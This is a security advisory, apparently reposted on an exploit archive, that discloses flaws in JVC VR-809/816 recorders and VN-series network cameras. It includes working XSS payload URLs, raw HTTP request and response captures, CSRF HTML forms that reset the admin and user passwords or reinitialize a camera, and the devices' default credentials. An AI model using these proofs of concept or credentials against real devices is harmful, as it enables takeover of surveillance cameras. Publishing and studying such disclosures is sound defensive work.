Home / exploits Multiple JVC HDRs and Net Cameras - Multiple Vulnerabilities
Posted on 30 November -0001
<HTML><HEAD><TITLE>Multiple JVC HDRs and Net Cameras - Multiple Vulnerabilities</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY> | | | | _ _| / -_) | | | _` | _ (_-< ___/_| _/_/___|_|_|_|__,_|_.__/___/ www.orwelllabs.com security advisory olsa-2016-04-01 * Adivisory Information +++++++++++++++++++++++ (+) Title: JVC Multiple Products Multiple Vulnerabilities (+) Vendor: JVC Professional Video (+) Research and Advisory: Orwelllabs (+) Adivisory URL: http://www.orwelllabs.com/2016/04/jvc-multiple-products-multiple.html (+) OLSA-ID: OLSA-2016-04-01(+) Affected Products: JVC HDR VR-809/816, Network cameras VN-C*, VN-V*, VN-X* with firmwares 1.03 and 2.03 (+) IoT Attack Surface: Device Administrative Interface (+) Owasp IoTTop10: I1, I2 * Overview ++++++++++ I1 - 1. Multiple Cross-site Scripting I1 - 2. HTTP Header Injection I1 - 3. Multiple Cross-site Request Forgery I1 - 4. Cleartext sensitive data I1 - 5. Weak Default Credentials/Known credentials I2 - 6. Poorly Protected Credentials 1. Reflected Cross-site scripting ================================= JVC Hard Disk Recorders are prone to XSS and HTTP Header Injection[2]. (+) Affected Products: ---------------------- JVC VR-809 HDR JVC VR-816 HDR (+) Technical Details/PoCs -------------------------- (+) URL Trigger: http://xxx.xxx.xxx.xxx/api/param?video.input(01).comment&video.input(02).comment&video.input(03).comment&video.input(04).comment&video.input(05).comment&video.input(06).comment&video.input(07).comment&video.input(08).comment&video.input(09).comment (+) Payload used [ *** XSS *** ]: <img src=a onerror=alert("0rwelll4bs")> (+) affected script/path: /api/param? (+) affected parameters (video.input.COMMENT): + video.input(01).comment[ *** XSS *** ] + video.input(02).comment[ *** XSS *** ] + video.input(03).comment[ *** XSS *** ] + video.input(04).comment[ *** XSS *** ] + video.input(05).comment[ *** XSS *** ] + video.input(06).comment[ *** XSS *** ] + video.input(07).comment[ *** XSS *** ] + video.input(08).comment[ *** XSS *** ] + video.input(09).comment[ *** XSS *** ] (+) affected parameters (video.input.STATUS): + video.input(01).status[ *** XSS *** ] + video.input(02).status[ *** XSS *** ] + video.input(03).status[ *** XSS *** ] + video.input(04).status[ *** XSS *** ] + video.input(05).status[ *** XSS *** ] + video.input(06).status[ *** XSS *** ] + video.input(07).status[ *** XSS *** ] + video.input(08).status[ *** XSS *** ] + video.input(09).status[ *** XSS *** ] (+) URL Trigger: http://xxx.xxx.xxx.xxx/api/param?network.interface(01).dhcp.status[ *** XSS ***] (+) affected parameters: + interface(01).dhcp.status[ *** XSS *** ] * In fact the javascript can be triggered just requesting the '/api/param?' directly with payload, like this: (+) URL: http://xxx.xxx.xxx.xxx/api/param?[*** XSS *** ] 2. HTTP Header Injection ======================== The value of the "video.input(X).comment/status" request parameter is copied into the 'X-Response' response header. So the malicious payload submitted in the parameter generates a response with an injected HTTP header. > If you request the following URL with an Javascript Payload "[*** XSS ***]": http://xxx.xxx.xxx.xxx/api/param?video.input(01).comment<img src=a onerror=alert("XSS")>&video.input(02).comment&video.input(03).comment&video.input(04).comment&video.input(05).comment&video.input(06).comment&video.input(07).comment&video.input(08).comment&video.input(09).comment > It will gennerate the GET request bellow: GET /api/param?video.input(01).comment<img src=a onerror=alert("XSS")>&video.input(02).comment&video.input(03).comment&video.input(04).comment&video.input(05).comment&video.input(06).comment&video.input(07).comment&video.input(08).comment&video.input(09).comment HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/ Cookie: vrtypename=Hard%20Disk%20Recorder; vrmodelname=0rw3|||4bs Authorization: Basic YWRtaW46anZj Connection: keep-alive > And we'll get the response from the server: HTTP/1.1 200 OK Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 564 X-Response: video.input(01).comment<img src=a onerror=alert("XSS")>&video.input(02).comment&video.input(03).comment&video.input(04).comment&video.input(05).comment&video.input(06).comment&video.input(07).comment&video.input(08).comment&video.input(09).comment Cache-control: no-cache Pragma: no-cache Expires: Thu, 05 May 2016 14:20:45 GMT Server: JVC VR-809/816 API Server/1.0.0 Date: Thu, 05 May 2016 14:20:45 GMT The javascript payload will be inject in X-Response response Header field 3. Multiple Cross-site Request Forgery ====================================== Multiple products from JVC are prone to CSRF. (+) Affected Products: ---------------------- The following products with firmware versions 1.03, 2.03 and early: VN-C2WU VN-C3U VN-C1U VN-C2U VN-C3WU VN-A1U VN-C10U VN-C11U VN-C655U VN-C625U VN-C205U VN-C215V4U VN-C215VP4U VN-V686U VN-V686WPU VN-V25U VN-V26U VN-X35U VN-V685U VN-V686WPBU VN-X235VPU VN-V225VPU VN-X235U VN-V225U VN-V17U VN-V217U VN-V217VPU VN-H157WPU VN-T16U VN-T216VPRU (+) Technical Details/PoCs -------------------------- > CSRF: to change 'admin' password to 'sm!thW' <html> <!-- Orwelllabs - JVC NetCams CSRF PoC --> <body> <form action="http://xxx.xxx.xxx.xxx/cgi-bin/c20setup.cgi" method="POST"> <input type="hidden" name="c20loadhtml" value="c20systempassword.html" /> <input type="hidden" name="usermode" value="admin" /> <input type="hidden" name="newpassword" value="sm!thW" /> <input type="hidden" name="new2password" value="sm!thW" /> <input type="hidden" name="ok" value="OK" /> <input type="submit" value="Submit form" /> </form> </body> </html> > CSRF: to set 'user' password to "w!nst0nSm!th" <html> <!-- Orwelllabs - JVC NetCams CSRF PoC --> <body> <form action="http://xxx.xxx.xxx.xxx/cgi-bin/c20setup.cgi" method="POST"> <input type="hidden" name="c20loadhtml" value="c20systempassword.html" /> <input type="hidden" name="usermode" value="user" /> <input type="hidden" name="newpassword" value="w!nst0nSm!th" /> <input type="hidden" name="new2password" value="w!nst0nSm!th" /> <input type="hidden" name="ok" value="OK" /> <input type="submit" value="Submit form" /> </form> </body> </html> > CSRF: to reinitialize the cam <html> <!-- Orwelllabs - JVC NetCams CSRF PoC --> <body> <form action="http://xxx.xxx.xxx.xxx/cgi-bin/c20setup.cgi" method="POST"> <input type="hidden" name="c20loadhtml" value="c20systemmainte.html" /> <input type="hidden" name="init" value="Initialize" /> <input type="submit" value="Submit form" /> </form> </body> </html> 4. Cleartext sensitive data =========================== By default everything is trasmite over HTTP, including credentials. 5. Weak Default Credentials/Known credentials ============================================= The vast maiority of these devices remain with default credential admin:jvc or admin:[model-of-camera] and costumers are not obligated to change it during initial setup. 6. Poorly Protected Credentials =============================== An attacker in the same network is able to capture and decode the credentials as they aren't trasmited over HTTPs and are protected using just Base64 with Basic Authorization. > Authentication process GET /cgi-bin/x35viewing.cgi?x35ptzviewer.html HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: X35JPEGVIEWSIZE=VGA; X35JPEGDISP=OFF-OFF-OFF-OFF-1; X35JPEGSTREAM=HTTP-5-225.0.1.1-49152; X35JPEGHTTPPORT=80; X35FOLDERNAME=VN-X35; X35MPEG4VIEWSIZE=VGA; X35MPEG4DISP=OFF-OFF-OFF-1; X35MPEG4STREAM=HTTP-225.0.2.1-59152; X35MPEG4HTTPPORT=80; X35AUDIO=OFF-HTTP-225.0.3.1-39152-49298-80; X35PTZCTRL=w!nst0nSm!th Connection: keep-alive Authorization: Basic YWRtaW46anZj *Once this is related with a old bad design is possible that a large range of products are affected by reported issues. Timeline ++++++++ 2016-04-20: First attemp to contact Vendor 2016-04-22: Vendor asks for products affected/details sent 2016-04-26: Ask vendor for any news about the issues reported 2016-05-09: Until this date no response 2016-05-10: Full disclosure Legal Notices +++++++++++++ The information contained within this advisory and in any other published by our lab is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. About Orwelllabs ++++++++++++++++ Orwelllabs is an independent security research lab interested in IoT, what means embedded devices and all its components like web applications, network, mobile applications and all surface areas prone to attack. Orwelllabs aims to study, learn and produce some intelligence around this vast and confusing big picture called smart cities. We have special appreciation for devices designed to provide security to these highly technological cities, also known as Iost (Internet of Security Things ). </BODY></HTML>